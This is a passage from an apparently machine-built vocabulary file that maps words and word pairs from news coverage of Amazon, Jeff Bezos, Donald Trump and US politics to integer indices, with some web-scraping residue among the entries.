"530 shares": 6246, "marriage president": 6247, "archival": 6248, "include representatives": 6249, "farm yields": 6250, "cloud offering": 6251, "guarantee dave": 6252, "page michelle": 6253, "different culture": 6254, "nutritional healing": 6255, "extend benefits": 6256, "wouldn ask": 6257, "posthumously": 6258, "warned democrats": 6259, "does briefly": 6260, "workers really": 6261, "large trump": 6262, "suffrage": 6263, "lordstown closing": 6264, "noise reducing": 6265, "fixing city": 6266, "plan design": 6267, "safer ground": 6268, "trump parlance": 6269, "generate code": 6270, "users view": 6271, "team spoke": 6272, "newly hired": 6273, "bars executive": 6274, "counsel limited": 6275, "single session": 6276, "starkly": 6277, "business district": 6278, "capital private": 6279, "473 shares": 6280, "amazon seized": 6281, "bookselling business": 6282, "debunks florence": 6283, "dominate market": 6284, "published bythe": 6285, "leadership subject": 6286, "company headquarters": 6287, "grieving": 6288, "monetary damages": 6289, "congress foxnews": 6290, "thanksgiving": 6291, "pirro foto": 6292, "time disputed": 6293, "imprisoning": 6294, "vilify": 6295, "jobs rep": 6296, "company tried": 6297, "billion monthly": 6298, "geography challenge": 6299, "cs1avpng6l kyle": 6300, "rainy": 6301, "sanchez provided": 6302, "concedes gop": 6303, "territory google": 6304, "report strikes": 6305, "declare executive": 6306, "recent deal": 6307, "repeatedly pressing": 6308, "operation buy": 6309, "probe publicly": 6310, "best opportunity": 6311, "attainment": 6312, "companies regarding": 6313, "aric crabb": 6314, "alana mounce": 6315, "potential doj": 6316, "massive abuse": 6317, "baity title": 6318, "profitable suffering": 6319, "harming": 6320, "mother wants": 6321, "room party": 6322, "leading pro": 6323, "private profit": 6324, "headphones arrive": 6325, "congressional successor": 6326, "issue occurs": 6327, "enforcement agents": 6328, "director joseph": 6329, "going exceedingly": 6330, "told sean": 6331, "twister": 6332, "national carnage": 6333, "trump seemingly": 6334, "brouhaha": 6335, "designing": 6336, "tiger woods": 6337, "post detailed": 6338, "investigations targeting": 6339, "wwdc": 6340, "slide uber": 6341, "strong second": 6342, "mnuchin personal": 6343, "important lesson": 6344, "introduce new": 6345, "department sources": 6346, "warewashing efficiency": 6347, "starts olick": 6348, "positive guidance": 6349, "luverne": 6350, "kidney cells": 6351, "cover amazon": 6352, "series proving": 6353, "amazon steep": 6354, "shelley 181": 6355, "doling": 6356, "behrendt": 6357, "41st": 6358, "hacked instead": 6359, "credit video": 6360, "stay married": 6361, "work requiring": 6362, "schuman": 6363, "fireside chat": 6364, "legendary investor": 6365, "collect data": 6366, "sounding": 6367, "actual structure": 6368, "pretextual": 6369, "publisher simon": 6370, "critical trump": 6371, "shares ny": 6372, "helipads zoo": 6373, "father cab": 6374, "families day": 6375, "function throw": 6376, "latest tv": 6377, "shutdown financial": 6378, "violent confrontation": 6379, "610": 6380, "employees received": 6381, "michigan posted": 6382, "spigen phone": 6383, "cbs nbc": 6384, "trump built": 6385, "jpg 635x367": 6386, "abolished": 6387, "banking regulators": 6388, "largest philanthropic": 6389, "crash": 6390, "rescue president": 6391, "new communication": 6392, "shampoo": 6393, "device eld": 6394, "market temporarily": 6395, "aide sean": 6396, "card trump": 6397, "amazon ec2": 6398, "amazon gm": 6399, "danny donnell": 6400, "journalist received": 6401, "publishing text": 6402, "draw": 6403, "veteran attorney": 6404, "romanian man": 6405, "radical islamic": 6406, "unions sent": 6407, "societies": 6408, "kurd feud": 6409, "character test": 6410, "reportedly plotting": 6411, "brought home": 6412, "particular odds": 6413, "markets says": 6414, "really took": 6415, "science social": 6416, "democracy": 6417, "news gop": 6418, "billion 450920002": 6419, "gaining reputation": 6420, "haunt": 6421, "371": 6422, "national presidential": 6423, "agony mammal": 6424, "greenlit task": 6425, "city unlike": 6426, "bezos cell": 6427, "middle ground": 6428, "clarity": 6429, "conner family": 6430, "studying art": 6431, "action prompted": 6432, "collectable": 6433, "disturbed regulators": 6434, "concept does": 6435, "cnbc doubled": 6436, "divided cabinet": 6437, "2016 democratic": 6438, "carson retired": 6439, "hasn charged": 6440, "roughly": 6441, "universities": 6442, "averaging": 6443, "dozen bestsellers": 6444, "bezos spare": 6445, "p4 var": 6446, "plea agreement": 6447, "included fact": 6448, "goods marketplace": 6449, "american turkish": 6450, "redlining": 6451, "area news": 6452, "giants wapo": 6453, "donald 2019": 6454, "98point6 believes": 6455, "higher delivery": 6456, "diction": 6457, "ore ap": 6458, "knot divorce": 6459, "laetrile stopped": 6460, "retail power": 6461, "dominated economy": 6462, "reported 195": 6463, "animal murder": 6464, "comey media": 6465, "low google": 6466, "affordable postal": 6467, "prevents": 6468, "way american": 6469, "phone owlfirstitem": 6470, "uses city": 6471, "workers talked": 6472, "fund": 6473, "ghd": 6474, "case linked": 6475, "place seattle": 6476, "hours stagnating": 6477, "browser windows": 6478, "line democracy": 6479, "provided vital": 6480, "making treatment": 6481, "levi insists": 6482, "look don": 6483, "abedin": 6484, "gods amazon": 6485, "technically advanced": 6486, "carry cell": 6487, "led marketing": 6488, "report earnings": 6489, "return g4": 6490, "triggering": 6491, "education bills": 6492, "expected earnings": 6493, "chinese telecom": 6494, "spot ahead": 6495, "largest components": 6496, "money evolution": 6497, "fedex revenue": 6498, "amzn receive": 6499, "workers speak": 6500, "controversy highlights": 6501, "showrunner carlton": 6502, "undeniably viable": 6503, "abroad refugees": 6504, "trumps accusation": 6505, "advertisement amazon": 6506, "problem sellers": 6507, "forward greer": 6508, "amzn branded": 6509, "week trump": 6510, "review damsel": 6511, "won pay": 6512, "centers amazon": 6513, "strategic engagements": 6514, "mary katharine": 6515, "markle attend": 6516, "jr ceo": 6517, "doubleday canada": 6518, "kindle ebook": 6519, "mother childhood": 6520, "5e1040253796293795842": 6521, "recent divorc\u00e9e": 6522, "continued ignoring": 6523, "conservative opinion": 6524, "unpleasant": 6525, "roosevelt room": 6526, "called prosperity": 6527, "international wave": 6528, "vehicle scarborough": 6529, "minneapolis road": 6530, "economic forecasts": 6531, "importing foreign": 6532, "ami allegedly": 6533, "retailer fell": 6534, "job finally": 6535, "tested": 6536, "style socialism": 6537, "futures": 6538, "syrian civil": 6539, "biggest job": 6540, "state legislature": 6541, "report source": 6542, "marketplace facebook": 6543, "civil mean": 6544, "activity considering": 6545, "lane kudlow": 6546, "alibaba cainiao": 6547, "mueller hbo": 6548, "justice wears": 6549, "closely according": 6550, "updates": 6551, "wallbank": 6552, "eliminates": 6553, "sabotaged tech": 6554, "wikileaks plans": 6555, "kepnes novel": 6556, "labeling": 6557, "respected corporations": 6558, "hasn paid": 6559, "adjusted profit": 6560, "rightwing troll": 6561, "times lynn": 6562, "pursue career": 6563, "rep marcia": 6564, "manage sensitive": 6565, "completey": 6566, "stanford graduate": 6567, "actual president": 6568, "accused becker": 6569, "522": 6570, "concluding": 6571, "or\u00e9al": 6572, "riccio vp": 6573, "safety limits": 6574, "protections cnn": 6575, "capital gaines": 6576, "amazon defensive": 6577, "deepened": 6578, "enforce restraining": 6579, "favorable": 6580, "politicians duked": 6581, "schuster scribner": 6582, "production deforestation": 6583, "departmentof justice": 6584, "showbiz strangeness": 6585, "false var": 6586, "trump greatest": 6587, "critics arguing": 6588, "updated unlike": 6589, "shane ormond": 6590, "past embedded": 6591, "cautious james": 6592, "shorten": 6593, "party vile": 6594, "simotas explained": 6595, "bethesda md": 6596, "families sen": 6597, "communities americans": 6598, "consult politico": 6599, "oks": 6600, "artificially": 6601, "4166": 6602, "david sold": 6603, "attendees held": 6604, "learn new": 6605, "early don": 6606, "allwood": 6607, "work matters": 6608, "affair ami": 6609, "say brian": 6610, "leggett": 6611, "bezos split": 6612, "mobilepinnedview": 6613, "putting rope": 6614, "paths": 6615, "cages sickens": 6616, "queens housewife": 6617, "today means": 6618, "hinesburg": 6619, "office read": 6620, "week amazed": 6621, "frankie": 6622, "papadopoulos lied": 6623, "second irish": 6624, "plaintiffs include": 6625, "ready backup": 6626, "potential union": 6627, "novelty item": 6628, "economy controlled": 6629, "spirit turn": 6630, "papazian": 6631, "mlyn cnbc": 6632, "passover read": 6633, "comment ahead": 6634, "farr president": 6635, "actions pen": 6636, "trump white": 6637, "dee": 6638, "forma earnings": 6639, "revenue weaknesses": 6640, "bold rep": 6641, "lucrecia martel": 6642, "madison calls": 6643, "1539177096 sr": 6644, "companies try": 6645, "power base": 6646, "say gi": 6647, "local stores": 6648, "deputy director": 6649, "sells pre": 6650, "enterprise group": 6651, "photo jacquelyn": 6652, "mta does": 6653, "amazon descended": 6654, "easy access": 6655, "currently process": 6656, "shooting survivor": 6657, "public sentiment": 6658, "report tomorrow": 6659, "stop halfway": 6660, "form ummm": 6661, "welcome antidote": 6662, "fuel vicious": 6663, "commercial strip": 6664, "previously trump": 6665, "appraise": 6666, "buy fake": 6667, "indiewire newsletter": 6668, "evening overnight": 6669, "thriller velvet": 6670, "earth oxygen": 6671, "soundly rejected": 6672, "champion jonathan": 6673, "initial reactions": 6674, "favorite horror": 6675, "cannes whitney": 6676, "baldwin says": 6677, "proof business": 6678, "nasty vicious": 6679, "depart": 6680, "tax discounts": 6681, "challenges ban": 6682, "livelihood": 6683, "biden earnings": 6684, "cities scramble": 6685, "monthslong": 6686, "officer sure": 6687, "companies offer": 6688, "retail": 6689, "strip": 6690, "permanent": 6691, "stock slammed": 6692, "gerry": 6693, "make deal": 6694, "quotes mesothelioma": 6695, "churn rate": 6696, "aseem": 6697, "pursuing clients": 6698, "traction mckinsey": 6699, "time song": 6700, "431": 6701, "complaint filed": 6702, "reported 579": 6703, "1007": 6704, "worldwide delivery": 6705, "director better": 6706, "proposes": 6707, "positive minus": 6708, "san salvador": 6709, "sanders claim": 6710, "clearly ignoring": 6711, "product hijackers": 6712, "fervor": 6713, "cfpb created": 6714, "private consumption": 6715, "waged year": 6716, "highs exceeding": 6717, "emergency unless": 6718, "tabs change": 6719, "rich men": 6720, "twitter posts": 6721, "act president": 6722, "reuters related": 6723, "sketch": 6724, "facebooks plunge": 6725, "lee mike": 6726, "outcry surrounding": 6727, "real food": 6728, "time new": 6729, "brooklyn army": 6730, "liability holds": 6731, "job growth": 6732, "democratic right": 6733, "powerful earthquake": 6734, "bezos reputation": 6735, "kindness day": 6736, "fledged": 6737, "symbol expressed": 6738, "kerlinger": 6739, "videx embedbutton": 6740, "water proof": 6741, "ctr": 6742, "cbs4 forecast": 6743, "trump sheds": 6744, "better deal": 6745, "keeping congress": 6746, "just clarify": 6747, "gap bing": 6748, "dol applicable": 6749, "boost pay": 6750, "federal case": 6751, "don jeff": 6752, "maker finally": 6753, "stepped away": 6754, "forgiven": 6755, "philip duffy": 6756, "line necessity": 6757, "assured consistent": 6758, "production company": 6759, "trump presence": 6760, "000 monitor": 6761, "world sign": 6762, "sanchez hollywood": 6763, "saudi allegation": 6764, "just tell": 6765, "robertson wonders": 6766, "report according": 6767, "agency suggest": 6768, "asher amazon": 6769, "example bezos": 6770, "involved defrauding": 6771, "affairs editor": 6772, "victoria derbyshire": 6773, "premise adapted": 6774, "retch": 6775, "rodrigues member": 6776, "nyt jennifer": 6777, "rashida tlaib": 6778, "site sources": 6779, "tax tweet": 6780, "reiterated buy": 6781, "upcoming ipo": 6782, "left wondering": 6783, "publish details": 6784, "teaches readers": 6785, "trademark world": 6786, "later amazon": 6787, "office recently": 6788, "coverage reports": 6789, "unprovoked": 6790, "growth levels": 6791, "house economic": 6792, "2016 race": 6793, "tower aesthetic": 6794, "defense project": 6795, "canopy": 6796, "breakfast octopus": 6797, "leg south": 6798, "oriented": 6799, "contributes": 6800, "aforementioned securitie": 6801, "clark stated": 6802, "market reaction": 6803, "turnonflashmessaging false": 6804, "snot saying": 6805, "lips immediately": 6806, "rigado validar": 6807, "chat conversation": 6808, "thesestories": 6809, "notice richard": 6810, "fascinating": 6811, "publishing trove": 6812, "opioid specific": 6813, "gobbled": 6814, "mean softer": 6815, "offerings amazon": 6816, "internet related": 6817, "enforced directly": 6818, "garbage hope": 6819, "ms trump": 6820, "model production": 6821, "trade dustup": 6822, "blames bezos": 6823, "bowl pregame": 6824, "metres": 6825, "called specialty": 6826, "pensions investments": 6827, "proper": 6828, "hannah storm": 6829, "took ownership": 6830, "foil": 6831, "companies bid": 6832, "draws": 6833, "country think": 6834, "effect nov": 6835, "cassettes russian": 6836, "dorning breaking": 6837, "particularly president": 6838, "final agreement": 6839, "sent yields": 6840, "city best": 6841, "chen mcternan": 6842, "krikorian markskrikorian": 6843, "veritable": 6844, "bermuda luxembourg": 6845, "close actor": 6846, "correct best": 6847, "sale baseball": 6848, "joe depaolo": 6849, "results speak": 6850, "cigna recently": 6851, "clients issued": 6852, "advertisement companies": 6853, "steadiest fastest": 6854, "chairman cfo": 6855, "air crash": 6856, "saying disingenuously": 6857, "incumbent democratic": 6858, "repeatedly rant": 6859, "employee complaints": 6860, "nrc en": 6861, "major city": 6862, "filing read": 6863, "offerings cheddar": 6864, "107 000": 6865, "brutal takedown": 6866, "latvia": 6867, "photos italy": 6868, "dakota johnson": 6869, "hart": 6870, "joseph lentol": 6871, "recently coined": 6872, "promotional brochure": 6873, "hold water": 6874, "zuckerberg likes": 6875, "warns amazon": 6876, "biotechnology": 6877, "swallowing islands": 6878, "protest police": 6879, "mentioned include": 6880, "accessory need": 6881, "cnn statement": 6882, "remaining risk": 6883, "week finally": 6884, "britain political": 6885, "multiple articles": 6886, "turkish council": 6887, "increases 2018": 6888, "business approaches": 6889, "grocery shopping": 6890, "subscription growth": 6891, "lane": 6892, "soon thousands": 6893, "worldwide search": 6894, "student placements": 6895, "answering question": 6896, "restrain": 6897, "backed legislation": 6898, "stefano": 6899, "closing corporate": 6900, "incorporates really": 6901, "rich table": 6902, "bowing": 6903, "person microsoft": 6904, "term projects": 6905, "patients iot": 6906, "nutjob": 6907, "know conway": 6908, "xilinx": 6909, "trump established": 6910, "true interference": 6911, "florida capital": 6912, "benefit local": 6913, "dialogue starting": 6914, "years today": 6915, "korea japan": 6916, "setting apart": 6917, "twinkle": 6918, "liberal publisher": 6919, "us3 pictures": 6920, "choi": 6921, "volcanoes 2018": 6922, "policies responded": 6923, "orange": 6924, "cuomo added": 6925, "souza": 6926, "leaking intimate": 6927, "scale detailed": 6928, "cowley": 6929, "flocking": 6930, "spoken 2018": 6931, "middle aged": 6932, "local affiliates": 6933, "garofalo pat": 6934, "plays audio": 6935, "services hosted": 6936, "barnett": 6937, "key investments": 6938, "usual thoughtful": 6939, "practice damon": 6940, "ring founder": 6941, "finance wall": 6942, "right gayle": 6943, "alexandria virginia": 6944, "law flatly": 6945, "corporate megalith": 6946, "tax justice": 6947, "flailing helplessly": 6948, "piegza stifel": 6949, "somewhat inexplicably": 6950, "limousines helicopter": 6951, "needn worry": 6952, "fallacy": 6953, "day took": 6954, "witch witchfinder": 6955, "frequently critical": 6956, "approve": 6957, "vought acting": 6958, "latest big": 6959, "argue fair": 6960, "imagine trump": 6961, "courts cody": 6962, "heavily democratic": 6963, "article referenced": 6964, "potentially tricky": 6965, "europe photo": 6966, "left loves": 6967, "shown courage": 6968, "worth": 6969, "debunk trump": 6970, "trump iconimageurl": 6971, "netherlands say": 6972, "candidates led": 6973, "sleazy behavior": 6974, "fridge": 6975, "spokesman glenn": 6976, "festive": 6977, "steadily encroaches": 6978, "antagonistic relationship": 6979, "brand perception": 6980, "lippman dlippman": 6981, "skorea slave": 6982, "man laughed": 6983, "amazon revolt": 6984, "simon termed": 6985, "indigenous communities": 6986, "young liberal": 6987, "maintaining sphinx": 6988, "159 billion": 6989, "people linked": 6990, "planned sites": 6991, "dynamic delivery": 6992, "john constantine": 6993, "meeks details": 6994, "dolezal accused": 6995, "plan drafted": 6996, "just social": 6997, "suggests range": 6998, "github pushing": 6999, "regular updates": 7000, "ward nbc": 7001, "major infrastructure": 7002, "shocked cooper": 7003, "easily beat": 7004, "abuse victims": 7005, "mega mansion": 7006, "remained bullish": 7007, "government guarantee": 7008, "anheuser": 7009, "jr daviddtss": 7010, "fox patent": 7011, "myrtlebound18": 7012, "game series": 7013, "daf5yvweds": 7014, "little contact": 7015, "hidespinner function": 7016, "lengthy island": 7017, "sibling": 7018, "desert storm": 7019, "skid rubbersole": 7020, "just away": 7021, "journalnow": 7022, "potential divestment": 7023, "127 increase": 7024, "does turn": 7025, "introducing": 7026, "bennett": 7027, "chinese entities": 7028, "disaster amazon": 7029, "korea amazon": 7030, "pirro": 7031, "jon stewart": 7032, "uber freight": 7033, "tell better": 7034, "business accounted": 7035, "big pool": 7036, "draw color": 7037, "taking cut": 7038, "included hointer": 7039, "c0 s9x": 7040, "scale advantages": 7041, "wait little": 7042, "meaning": 7043, "grossly underpaid": 7044, "amazon accusing": 7045, "collective threatens": 7046, "kid shooting": 7047, "0h0zpr0g37": 7048, "contract deap": 7049, "downbeat forecast": 7050, "kelley blue": 7051, "pilot rex": 7052, "wayfair earnings": 7053, "sanders calls": 7054, "shipping parts": 7055, "society develops": 7056, "cnn perception": 7057, "competitive khan": 7058, "breakouts stock": 7059, "copy torel": 7060, "3792223": 7061, "state association": 7062, "desoto county": 7063, "dave green": 7064, "brother large": 7065, "uk called": 7066, "short songs": 7067, "chicago ap": 7068, "sells wine": 7069, "great universities": 7070, "probe saying": 7071, "stoughton": 7072, "sanchez television": 7073, "griffeth yes": 7074, "viscous white": 7075, "cargo freighter": 7076, "enquirer firm": 7077, "sole victor": 7078, "american holiday": 7079, "seattle headquarters": 7080, "hit snag": 7081, "including evening": 7082, "taken swipe": 7083, "active service": 7084, "book pushing": 7085, "state legislator": 7086, "tell vermont": 7087, "years frameworks": 7088, "tough target": 7089, "trump wrath": 7090, "example amazon": 7091, "desk news": 7092, "woman claims": 7093, "trading opened": 7094, "phyllis": 7095, "regulating amazon": 7096, "tom perez": 7097, "recommend recommend": 7098, "labaki naturalism": 7099, "does involve": 7100, "347 shares": 7101, "incentivized reviews": 7102, "gates falls": 7103, "hias human": 7104, "dissolve": 7105, "reportedly compiling": 7106, "company presstv": 7107, "surpassed": 7108, "inhales co2": 7109, "presidential hopeful": 7110, "influx": 7111, "lose loved": 7112, "administration osha": 7113, "way wsj": 7114, "amazon rivals": 7115, "contaminated materials": 7116, "weak results": 7117, "highly available": 7118, "troy": 7119, "broader coalition": 7120, "large carrier": 7121, "candidate mitt": 7122, "gala afterward": 7123, "platform medium": 7124, "anchor praised": 7125, "rutger reviewed": 7126, "hurt": 7127, "attractive entry": 7128, "capital corp": 7129, "organization explained": 7130, "metoo economic": 7131, "editorial really": 7132, "new argument": 7133, "haters": 7134, "menu items": 7135, "business germany": 7136, "president does": 7137, "christmas expect": 7138, "instantly available": 7139, "mugabo talk": 7140, "uk intellectual": 7141, "hannity today": 7142, "constant harangue": 7143, "posted story": 7144, "coalition funded": 7145, "direct just": 7146, "deaths occurring": 7147, "think cantankerous": 7148, "words britain": 7149, "publication backed": 7150, "offering tours": 7151, "problem": 7152, "willem": 7153, "minor toll": 7154, "fang stock": 7155, "2016 customers": 7156, "stepdaughter dylan": 7157, "jobs newark": 7158, "planning holiday": 7159, "hololens": 7160, "trump far": 7161, "effectively using": 7162, "families thanks": 7163, "unfolding": 7164, "continue making": 7165, "delay failure": 7166, "o1a d1a": 7167, "help families": 7168, "hemorrhaging money": 7169, "dim": 7170, "survey center": 7171, "cached": 7172, "officialmpv": 7173, "agorist": 7174, "analytica scandal": 7175, "wide influence": 7176, "bargain": 7177, "globe warehouse": 7178, "publix parking": 7179, "skeletons": 7180, "missing analysts": 7181, "sending refunds": 7182, "s8i g0": 7183, "onward government": 7184, "ai technology": 7185, "streamlined automation": 7186, "cars vandalized": 7187, "amageddon following": 7188, "trumps agreed": 7189, "rogoff harvard": 7190, "raw audio": 7191, "unknown": 7192, "picture": 7193, "abroad profiteering": 7194, "management amazon": 7195, "company articles": 7196, "tirade warning": 7197, "hand used": 7198, "anti social": 7199, "good vibes": 7200, "andhe": 7201, "science program": 7202, "global citizen": 7203, "strongly backed": 7204, "city sprawling": 7205, "unprovable": 7206, "noted trump": 7207, "photo postmaster": 7208, "unclaimed": 7209, "delivery solution": 7210, "days saying": 7211, "simply abandoned": 7212, "week icann": 7213, "states bankruptcy": 7214, "roy harvey": 7215, "wgbh": 7216, "recording industry": 7217, "extraordinarily attractive": 7218, "seattle tax": 7219, "ads info": 7220, "purchase copy": 7221, "international political": 7222, "food workers": 7223, "soon hold": 7224, "apt": 7225, "empirical": 7226, "study data": 7227, "series revolves": 7228, "add business": 7229, "factor": 7230, "category storm": 7231, "referrals": 7232, "504": 7233, "merit based": 7234, "internal database": 7235, "committee subpoenaed": 7236, "world class": 7237, "great victory": 7238, "incredibly valuable": 7239, "shamed": 7240, "fedex fulfillment": 7241, "business recap": 7242, "jaspers byline": 7243, "talks tough": 7244, "voters fund": 7245, "sandmann": 7246, "demand response": 7247, "divorce meant": 7248, "privacy settings": 7249, "post version": 7250, "demographics digital": 7251, "iphone sales": 7252, "mid terms": 7253, "taking cover": 7254, "rapes president": 7255, "fed positive": 7256, "similar tax": 7257, "structural changes": 7258, "articles worth": 7259, "florida atlantic": 7260, "actually requires": 7261, "packages day": 7262, "safety group": 7263, "indifference": 7264, "benefits adding": 7265, "security adviser": 7266, "cites stronger": 7267, "burst": 7268, "kelly allegations": 7269, "bradshaw": 7270, "director tom": 7271, "america members": 7272, "demonstrators held": 7273, "assesses competition": 7274, "potential sites": 7275, "headwind": 7276, "called frozen": 7277, "choi cnn": 7278, "asleep": 7279, "nationaldonutday": 7280, "digital ads": 7281, "frame regardless": 7282, "consensus building": 7283, "story bond": 7284, "pay maxsa": 7285, "rekogntion": 7286, "company ramps": 7287, "prosecutors admitted": 7288, "sanchez smoking": 7289, "product ads": 7290, "uncertainty": 7291, "tax shelter": 7292, "certified commercial": 7293, "edge consulting": 7294, "telecom panel": 7295, "lyin": 7296, "major corporation": 7297, "republican agenda": 7298, "sliding remember": 7299, "murderous illegals": 7300, "biggest concern": 7301, "industrial production": 7302, "shying away": 7303, "included tests": 7304, "holmgren says": 7305, "elizabeth holmes": 7306, "strong buy": 7307, "reach jessie": 7308, "american students": 7309, "competence": 7310, "noted": 7311, "scrutiny amid": 7312, "software trademarks": 7313, "sen maria": 7314, "house sends": 7315, "fine line": 7316, "powerball drawing": 7317, "lebanon": 7318, "new distribution": 7319, "record meeting": 7320, "boss jim": 7321, "eyed reuters": 7322, "desktoplogo null": 7323, "weaponry decisions": 7324, "1920s": 7325, "tabatabai": 7326, "office commerce": 7327, "mayor complicated": 7328, "added corporate": 7329, "amazon history": 7330, "trump unexpectedly": 7331, "feral detective": 7332, "book rollout": 7333, "boggling trump": 7334, "usps compared": 7335, "h5": 7336, "large": 7337, "financial incentives": 7338, "purdy carrie": 7339, "hygiene needs": 7340, "2017tony fernandes": 7341, "thanks jaspers": 7342, "rod status": 7343, "broadcom proposed": 7344, "commercial flight": 7345, "uninspiring": 7346, "called attention": 7347, "weapons related": 7348, "nearby staten": 7349, "bribe offers": 7350, "practices impacted": 7351, "emailed woman": 7352, "breaks cut": 7353, "country 2018": 7354, "tdy1rrxyabos6nze r4ee": 7355, "immigrants carell": 7356, "reporters tracked": 7357, "scandals according": 7358, "party organization": 7359, "lives male": 7360, "emarkter senior": 7361, "state development": 7362, "bonnie": 7363, "doesn tweet": 7364, "transport packages": 7365, "just cost": 7366, "k1a r4ee": 7367, "immense corporations": 7368, "space cowboy": 7369, "virginia farm": 7370, "company 2010": 7371, "tucson ariz": 7372, "dec understandably": 7373, "historic home": 7374, "videotape phil": 7375, "suggested assassinating": 7376, "entities": 7377, "monopo jefferies": 7378, "dc paul": 7379, "just offer": 7380, "today trump": 7381, "amazon extensive": 7382, "rj": 7383, "sixth biggest": 7384, "worldwide legendary": 7385, "called racist": 7386, "2017jeff bezos": 7387, "economic recovery": 7388, "robbers picked": 7389, "points higher": 7390, "hours reduced": 7391, "tonight parody": 7392, "workers relative": 7393, "nyse announced": 7394, "hawes": 7395, "sports perfect": 7396, "inds": 7397, "tax withholdings": 7398, "hoenig pointed": 7399, "dilution": 7400, "fours": 7401, "hacked lauren": 7402, "underscoring members": 7403, "coordinate strategic": 7404, "captures": 7405, "mile delivery": 7406, "56966 o1a": 7407, "started paying": 7408, "teenagers": 7409, "denial moment": 7410, "housing crisis": 7411, "younger people": 7412, "aforementioned headline": 7413, "tmz": 7414, "include opening": 7415, "specifically looking": 7416, "years ran": 7417, "anarchy": 7418, "microsoft bids": 7419, "global median": 7420, "ship": 7421, "shares synovus": 7422, "baby clothes": 7423, "vendors weren": 7424, "isn dispassionate": 7425, "elusive news": 7426, "requires extensive": 7427, "tech jeffbezos": 7428, "roku built": 7429, "portfolio statement": 7430, "elements moore": 7431, "prepared statement": 7432, "satellite phone": 7433, "energy companies": 7434, "ellyn ill": 7435, "david cobb": 7436, "separately registering": 7437, "education alternatives": 7438, "positively institutional": 7439, "argue": 7440, "service members": 7441, "casino bigwigs": 7442, "derby fox": 7443, "profile process": 7444, "improperly accessed": 7445, "accidentally": 7446, "ryan boss": 7447, "corn evans": 7448, "reason want": 7449, "sovereigns": 7450, "workers isnt": 7451, "shady": 7452, "13008359 r4ee": 7453, "salt water": 7454, "nation social": 7455, "freely": 7456, "imagination": 7457, "operated 500": 7458, "bath water": 7459, "innocent think": 7460, "weibo prominent": 7461, "samevmware control": 7462, "clip ceo": 7463, "guill\u00e9n reports": 7464, "strays": 7465, "tremendous domestic": 7466, "addressing issues": 7467, "home caf\u00e9": 7468, "protectors": 7469, "bribed amazon": 7470, "predictable sites": 7471, "drunken": 7472, "bans": 7473, "conservatism": 7474, "report meaningful": 7475, "previous snapbacks": 7476, "bp": 7477, "omarosa": 7478, "sales generated": 7479, "touch maxwell": 7480, "interpret antitrust": 7481, "soybeans": 7482, "pressing issue": 7483, "gop gerrymandering": 7484, "trump famously": 7485, "constitutional mandate": 7486, "video golden": 7487, "chairs fsoc": 7488, "sec sued": 7489, "monza": 7490, "warehouse expansion": 7491, "information priya": 7492, "complicated adding": 7493, "350 largest": 7494, "collaborates": 7495, "salaries remain": 7496, "rivals took": 7497, "unusual number": 7498, "mcconnell": 7499, "mocks president": 7500, "begins individualism": 7501, "mashed": 7502, "gtld program": 7503, "cheater deviled": 7504, "bought 608": 7505, "eagerly awaiting": 7506, "weren newsworthy": 7507, "jay kreps": 7508, "fueled speculation": 7509, "a4ee g0": 7510, "stock plunge": 7511, "prime currently": 7512, "vengeful dracula": 7513, "listen going": 7514, "prominent republicans": 7515, "lone reporter": 7516, "media celebrity": 7517, "google flights": 7518, "escaped getting": 7519, "propagate": 7520, "profiles": 7521, "stock suffered": 7522, "erik paulsen": 7523, "slowdown saw": 7524, "tweeted animosity": 7525, "laws brexit": 7526, "cook andrew": 7527, "serving overseas": 7528, "hikes including": 7529, "die amazon": 7530, "giant spins": 7531, "groceries": 7532, "break giant": 7533, "teacher raises": 7534, "pentagon advertisement": 7535, "restless guy": 7536, "city crowded": 7537, "texture": 7538, "national reckoning": 7539, "cited report": 7540, "delegation spared": 7541, "emotion hope": 7542, "permanent fabric": 7543, "storied newspapers": 7544, "delivery cnn": 7545, "metadata incorrectly": 7546, "arrived": 7547, "gun": 7548, "predicted stock": 7549, "mail service": 7550, "exceeds \u0142122": 7551, "hackers target": 7552, "dollar debts": 7553, "2018 does": 7554, "policy responses": 7555, "determining pre": 7556, "wife melania": 7557, "gpa": 7558, "piracy": 7559, "edith": 7560, "manigault newman": 7561, "inseparable": 7562, "regular trading": 7563, "series hosted": 7564, "rival starbucks": 7565, "results won": 7566, "vancouver writer": 7567, "semitic groups": 7568, "price packages": 7569, "rico needs": 7570, "soon say": 7571, "treatment just": 7572, "provided ample": 7573, "cabela": 7574, "bezos meet": 7575, "icy": 7576, "ami publisher": 7577, "microsoft lost": 7578, "negotiations trump": 7579, "canceling tommy": 7580, "powerful weapon": 7581, "sgn receives": 7582, "banking wasn": 7583, "altogether icahn": 7584, "directly independent": 7585, "ministry mpf": 7586, "family properties": 7587, "critics cite": 7588, "want sanders": 7589, "happening defense": 7590, "disruptors just": 7591, "interested instead": 7592, "best global": 7593, "decal": 7594, "revolutionary voice": 7595, "fund bridewater": 7596, "operating results": 7597, "amid backlash": 7598, "decision opens": 7599, "newspaper says": 7600, "library association": 7601, "costs 120": 7602, "subscription model": 7603, "covering national": 7604, "news tv": 7605, "1911 company": 7606, "receiving pushback": 7607, "denounced bolsonaro": 7608, "null cnl_global_nav_background_gradient_endient": 7609, "equal basis": 7610, "took responsibility": 7611, "pissed": 7612, "praised benito": 7613, "trump deep": 7614, "tweeted previously": 7615, "princeton": 7616, "millionaire chris": 7617, "rework": 7618, "content posted": 7619, "analysts expressed": 7620, "war tensions": 7621, "misogynist statements": 7622, "national forest": 7623, "oakmark": 7624, "precrisis levels": 7625, "delivery deal": 7626, "struggles getting": 7627, "changing nature": 7628, "conveying": 7629, "online gossip": 7630, "congressional letter": 7631, "reach 175bn": 7632, "survivor father": 7633, "small handful": 7634, "long known": 7635, "clown colbert": 7636, "healing foods": 7637, "u9": 7638, "criminalenterprise malinowski": 7639, "bomey": 7640, "increase globally": 7641, "atlas ad": 7642, "blessing": 7643, "ruthless worldview": 7644, "service complicated": 7645, "donald tusk": 7646, "financial markets": 7647, "hiding information": 7648, "frantically": 7649, "traded higher": 7650, "gates marc": 7651, "collar jobs": 7652, "represents workers": 7653, "shepherd dad": 7654, "information management": 7655, "legion self": 7656, "inv advsr": 7657, "printed firearms": 7658, "justice john": 7659, "home payments": 7660, "attracted readers": 7661, "underestimating growth": 7662, "targets set": 7663, "usps saying": 7664, "amazon higher": 7665, "bold campaign": 7666, "want personal": 7667, "transformation benefits": 7668, "conway sarah": 7669, "consider alternative": 7670, "high fidelity": 7671, "muckerman excellent": 7672, "surrounding prefunding": 7673, "news team": 7674, "session sharply": 7675, "address western": 7676, "expensive diseases": 7677, "goitein considers": 7678, 